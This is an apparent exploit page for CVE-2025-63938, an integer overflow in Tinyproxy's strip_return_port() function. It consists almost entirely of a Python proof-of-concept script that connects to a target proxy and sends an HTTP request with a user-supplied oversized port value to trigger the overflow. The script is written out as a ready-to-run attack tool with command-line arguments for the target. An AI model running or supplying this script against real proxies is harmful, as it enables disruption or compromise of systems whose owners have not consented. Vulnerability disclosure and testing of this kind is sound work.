CVE-2025-63938: Tinyproxy strip_return_port()函数整数溢出漏洞

import socket import sys def exploit_tinyproxy_integer_overflow(target_host, target_port, malicious_port): """ PoC for CVE-2025-63938: Tinyproxy strip_return_port() Integer Overflow This PoC demonstrates sending a crafted HTTP request with an oversized port value to trigger integer overflow in strip_return_port() function. Args: target_host: Target Tinyproxy server IP target_port: Target Tinyproxy server port malicious_port: Malicious port value that triggers overflow """ try: # Construct HTTP request with malicious port value # The port value should be crafted to cause integer overflow # when processed by strip_return_port() function request = f"GET http://example.com:{malicious_port}/ HTTP/1.1\r\n" request += f"Host: example.com\r\n" request += "Connection: close\r\n" request += "\r\n" # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) # Send malicious request sock.send(request.encode()) # Receive response response = sock.recv(4096) print(f"[+] Request sent with port value: {malicious_port}") print(f"[*] Response: {response[:200]}") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve_2025_63938_poc.py <target_host> <target_port> <malicious_port>") sys.exit(1) target_host = sys.argv[1] target_port = int(sys.argv[2]) malicious_port = sys.argv[3] exploit_tinyproxy_integer_overflow(target_host, target_port, malicious_port)